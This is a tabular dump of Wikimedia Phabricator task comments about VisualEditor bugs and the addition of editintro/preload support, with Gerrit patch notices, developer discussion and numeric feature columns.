243810,VisualEditor: Link duplicated,"We fixed this as part of the DM tweaks, I believe.",,,1372017902,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-isdw3zrrbc3uvww3ghe4,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,1.0,"We fixed this as part of the DM tweaks, I believe."
51645,VisualEditor: Deleting the slug a floated image appears in deletes the image… but retains the caption as a paragraph,"Deleting leading newline destroys [[File:....]]

Steps to reproduce:

1. Open a page with [[File:...]] as first line

2. VE adds a leading newline into the edit window

3. Delete this leading newline because for experienced editor it looks superfluous

4. Save

Result: [[File:...]] syntax is destroyed, only the caption is left.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://test.wikipedia.org/w/index.php?title=User:Raymond/image&diff=174494&oldid=174493",Medium,50.0,1371404760,1383957760.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-e2zkvddmlxs36w5rmyck,task_description,resolved,True,c1,2,False,False,False,-3,,0.0,0.0,0.0,2.0,0.0,4.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,10.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,1.0,3.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,6.5,3.384175084175084,0.6050505050505051,"Deleting leading newline destroys [[File:....]]

Steps to reproduce:

1. Open a page with [[File:...]] as first line

2. VE adds a leading newline into the edit window

3. Delete this leading newline because for experienced editor it looks superfluous

4. Save

Result: [[File:...]] syntax is destroyed, only the caption is left.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
241688,VisualEditor: Deleting the slug a floated image appears in deletes the image… but retains the caption as a paragraph,Backdating to when I *think* we fixed this.,,,1383959019,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e2zkvddmlxs36w5rmyck,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,3.272727272727273,0.9090909090909091,Backdating to when I *think* we fixed this.
241682,VisualEditor: Deleting the slug a floated image appears in deletes the image… but retains the caption as a paragraph,"I cannot reproduce it now. Looks like it got fixed. Therefore, changing the status to resolved-fixed .
Reopen it if you think it still exists.",,,1383957760,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-e2zkvddmlxs36w5rmyck,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.606060606060606,0.7878787878787878,"I cannot reproduce it now. Looks like it got fixed. Therefore, changing the status to resolved-fixed .
Reopen it if you think it still exists."
241679,VisualEditor: Deleting the slug a floated image appears in deletes the image… but retains the caption as a paragraph,"Deleting the slug a floated item is locked into is ""designed"" to delete the item, so this is expected behaviour. See bug 43026 for a wider discussion - we need a better UX concept around here, I feel.

However, leaving the caption there is... not meant to happen. Re-purposing.",,,1371437921,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e2zkvddmlxs36w5rmyck,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,3.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,10.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,3.0,10.0,2.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,3.7096774193548385,0.7419354838709677,"Deleting the slug a floated item is locked into is ""designed"" to delete the item, so this is expected behaviour. See bug 43026 for a wider discussion - we need a better UX concept around here, I feel.

However, leaving the caption there is... not meant to happen. Re-purposing."
51622,Add support for (the equivalent of?) editintro and preload,"In VE, new users may use tutorials/wizards which use [[ https://en.wikinews.org/wiki/Help:Creating_and_using_editintro_and_preload_templates | editintro/preload ]] features, which aren't supported by the visual editor yet.
",Medium,50.0,1371315660,1506351148.0,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-3z252ihuxf33ir4how73,task_description,resolved,True,c1,2,False,False,False,-3,,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.5294117647058822,0.8235294117647058,"In VE, new users may use tutorials/wizards which use [[ URL | editintro/preload ]] features, which aren't supported by the visual editor yet.
"
936116,Add support for (the equivalent of?) editintro and preload,"Change 380530 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Api: include preload content when section=new

[[https://gerrit.wikimedia.org/r/380530]]
",,,1506354915,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,221,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,4.125,0.78125,"Change 380530 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Api: include preload content when section=new

[[GERRIT_URL]]
"
936091,Add support for (the equivalent of?) editintro and preload,"Change 380530 had a related patch set uploaded (by DLynch; owner: DLynch):
[mediawiki/extensions/VisualEditor@master] Api: include preload content when section=new

[[https://gerrit.wikimedia.org/r/380530]]
",,,1506353477,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,221,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,15.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,15.0,4.075,0.8,"Change 380530 had a related patch set uploaded (by DLynch; owner: DLynch):
[mediawiki/extensions/VisualEditor@master] Api: include preload content when section=new

[[GERRIT_URL]]
"
935959,Add support for (the equivalent of?) editintro and preload,Adding the tag per https://www.mediawiki.org/w/index.php?title=Topic:Tys3st4u4fbxis43 .,,,1506344878,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,221,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.1666666666666665,1.0,Adding the tag per URL .
933926,Add support for (the equivalent of?) editintro and preload,"Just to confirm, now that patch has made its way to the beta cluster, the inputbox button works and gets us this:

{F9677679}",,,1505939521,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.586206896551724,0.896551724137931,"Just to confirm, now that patch has made its way to the beta cluster, the inputbox button works and gets us this:

{F9677679}"
933676,Add support for (the equivalent of?) editintro and preload,"Change 379246 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Hooks: remove preloadtitle from unsupported list

[[https://gerrit.wikimedia.org/r/379246]]
",,,1505921950,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.5,0.7666666666666667,"Change 379246 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Hooks: remove preloadtitle from unsupported list

[[GERRIT_URL]]
"
933665,Add support for (the equivalent of?) editintro and preload,"Change 379246 had a related patch set uploaded (by DLynch; owner: DLynch):
[mediawiki/extensions/VisualEditor@master] Hooks: remove preloadtitle from unsupported list

[[https://gerrit.wikimedia.org/r/379246]]
",,,1505920720,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,4.368421052631579,0.7894736842105263,"Change 379246 had a related patch set uploaded (by DLynch; owner: DLynch):
[mediawiki/extensions/VisualEditor@master] Hooks: remove preloadtitle from unsupported list

[[GERRIT_URL]]
"
933667,Add support for (the equivalent of?) editintro and preload,"Ah, that's because I didn't remove `preloadtitle` from the `unsupportedEditParams` list.

Note that if you edit the URL to removes just that parameter, it gets the expected result: https://en.wikipedia.beta.wmflabs.org/w/index.php?title=Template_talk:Submit_an_edit_request&action=edit&preload=Template%3ASubmit_an_edit_request%2Fpreload&editintro=Template%3AEdit_protected%2Feditintro&preloadparams%5B%5D=&preloadparams%5B%5D=Template%3ASubmit_an_edit_request&section=new",,,1505920852,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,19.0,8.0,0.0,14.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,8.0,14.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.8055555555555556,"Ah, that's because I didn't remove CODE from the CODE list.

Note that if you edit the URL to removes just that parameter, it gets the expected result: URL"
933662,Add support for (the equivalent of?) editintro and preload,"Ah, that's because I didn't remove `preloadtitle` from the `unsupportedEditParams` list.

Note that if you edit the URL to removes just that parameted, it gets the expected result: https://en.wikipedia.beta.wmflabs.org/w/index.php?title=Template_talk:Submit_an_edit_request&action=edit&preload=Template%3ASubmit_an_edit_request%2Fpreload&editintro=Template%3AEdit_protected%2Feditintro&preloadparams%5B%5D=&preloadparams%5B%5D=Template%3ASubmit_an_edit_request&section=new",,,1505920393,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,14.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,19.0,8.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,8.0,14.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.8055555555555556,"Ah, that's because I didn't remove CODE from the CODE list.

Note that if you edit the URL to removes just that parameted, it gets the expected result: URL"
933498,Add support for (the equivalent of?) editintro and preload,"What is the best way to test this?

I tried using [[https://en.wikipedia.beta.wmflabs.org/wiki/Template:Submit_an_edit_request|Template:Submit an edit request]] on the beta cluster, which appears to use preloading, but it kicked me straight in to the 2010 editor even though I've got the 2017 editor beta feature enabled. I don't even know where I'd begin to test it in the visual editor.",,,1505905997,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,True,,,220,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,1.0,0.0,3.0,4.0,0.0,0.0,0.0,7.0,1.0,8.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,3.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,8.0,1.0,8.0,3.0,1.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,10.0,11.0,0.0,1.0,0.0,0.0,10.0,0.0,4.0,1.0,1.0,1.0,0.0,1.0,3.0,3.4507042253521125,0.704225352112676,"What is the best way to test this?

I tried using [[URL an edit request]] on the beta cluster, which appears to use preloading, but it kicked me straight in to the 2010 editor even though I've got the 2017 editor beta feature enabled. I don't even know where I'd begin to test it in the visual editor."
932399,Add support for (the equivalent of?) editintro and preload,"Change 378343 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Enable preload in VisualEditor

[[https://gerrit.wikimedia.org/r/378343]]
",,,1505764754,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.407407407407407,0.7777777777777778,"Change 378343 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Enable preload in VisualEditor

[[GERRIT_URL]]
"
932160,Add support for (the equivalent of?) editintro and preload,"Change 378726 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget: Support preloadtitle in source mode

[[https://gerrit.wikimedia.org/r/378726]]
",,,1505749186,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.8,0.7666666666666667,"Change 378726 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget: Support preloadtitle in source mode

[[GERRIT_URL]]
"
932137,Add support for (the equivalent of?) editintro and preload,"Change 378726 had a related patch set uploaded (by DLynch; owner: DLynch):
[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget: Support preloadtitle in source mode

[[https://gerrit.wikimedia.org/r/378726]]
",,,1505747261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,220,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,4.605263157894737,0.7894736842105263,"Change 378726 had a related patch set uploaded (by DLynch; owner: DLynch):
[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget: Support preloadtitle in source mode

[[GERRIT_URL]]
"
931356,Add support for (the equivalent of?) editintro and preload,"That patch is very much the ""better than nothing"" version James suggested. It pulls the article, substitutes in the parameters, and then if it's in visual mode it runs it through Parsoid. It should be functionally-equivalent for the 2017 wikitext editor, though, since that doesn't rely on always containing valid documents.",,,1505512035,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,219,,2.0,0.0,2.0,0.0,2.0,6.0,0.0,0.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,11.0,12.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,3.0,2.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,8.0,12.0,3.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.28125,0.796875,"That patch is very much the ""better than nothing"" version James suggested. It pulls the article, substitutes in the parameters, and then if it's in visual mode it runs it through Parsoid. It should be functionally-equivalent for the 2017 wikitext editor, though, since that doesn't rely on always containing valid documents."
931353,Add support for (the equivalent of?) editintro and preload,"Change 378343 had a related patch set uploaded (by DLynch; owner: DLynch):
[mediawiki/extensions/VisualEditor@master] Enable preload in VisualEditor

[[https://gerrit.wikimedia.org/r/378343]]
",,,1505511929,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,219,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,4.285714285714286,0.8,"Change 378343 had a related patch set uploaded (by DLynch; owner: DLynch):
[mediawiki/extensions/VisualEditor@master] Enable preload in VisualEditor

[[GERRIT_URL]]
"
888417,Add support for (the equivalent of?) editintro and preload,This would be very useful for the [[ https://en.wikiversity.org/wiki/Wikidebate | Wikidebate ]] project at Wikiversity.,,,1499341318,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,209,,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.6666666666666665,0.8888888888888888,This would be very useful for the [[ URL | Wikidebate ]] project at Wikiversity.
786447,Add support for (the equivalent of?) editintro and preload,"Change 329796 merged by jenkins-bot:
Add editintro to notices

[[https://gerrit.wikimedia.org/r/329796]]",,,1483474747,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,183,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6842105263157894,0.8947368421052632,"Change 329796 merged by jenkins-bot:
Add editintro to notices

[[GERRIT_URL]]"
785360,Add support for (the equivalent of?) editintro and preload,"Change 329796 had a related patch set uploaded (by Esanders):
Add editintro to notices

[[https://gerrit.wikimedia.org/r/329796]]
